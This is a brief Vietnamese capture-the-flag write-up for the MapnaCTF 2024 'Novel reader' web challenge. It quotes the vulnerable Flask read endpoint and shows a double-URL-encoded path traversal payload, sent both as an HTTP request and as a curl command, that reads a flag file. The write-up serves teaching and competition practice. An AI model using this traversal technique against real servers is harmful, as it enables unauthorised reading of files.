MapnaCTF 2024 - web

1 minute read

Web

Novel reader - 44 point

Description

We have many fun novels for ya...
http://3.64.250.135:9000

Source code here

Solution

Giao diện web như sau: image

Ứng dụng có 2 chức năng chính là readfile và charge account. Mặc định Mỗi người dùng ban đầu sẽ có 100 Balance và 1 Words Balance.

Trong list private của endpoint /api/list-private-novels có chứa file

["A-Secret-Tale.txt"]

với nội dung có chứa FLAG:

Once a upon time there was a flag. The flag was read like this: MAPNA{test-flag}. FIN.

=> Mục tiêu: đọc được file A-Secret-Tale.txt

trong main.py

@app.get('/api/read/<path:name>')
def readNovel(name):
    name = unquote(name)
    if(not name.startswith('public/')):
        return {'success': False, 'msg': 'You can only read public novels!'}, 400
    buf = readFile(name).split(' ')
    buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'
    return {'success': True, 'msg': buf}

ở đây ta thấy giá trị truyền vào được đưa vào hàm readFile để đọc và trả về dữ liệu cho người dùng nếu có đủ words_balance.


Ở đây ta có thể path travesal vượt qua hàm `unqute` của `urllib.parse` bằng cách url encoding payload `%2e` => `%252f`

tôi đã thử đọc file `A-Secret-Tale.txt` bằng cách này với payload:

```yaml
GET /api/read/public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt HTTP/1.1
Host: 3.64.250.135:9000
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://3.64.250.135:9000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=[REDACTED]
Connection: close

tuy nhiên, nó không thành công do chúng ta không có đủ words_balance.

image

payload cuối:

/api/read/public/%252e%252e/%252e%252e/flag.txt

Script

curl http://3.64.250.135:9000/api/read/public/%252e%252e/%252e%252e/flag.txt

result:

{"msg":"MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}\n\n... Charge your account to unlock more of the novel!","success":true}

Comments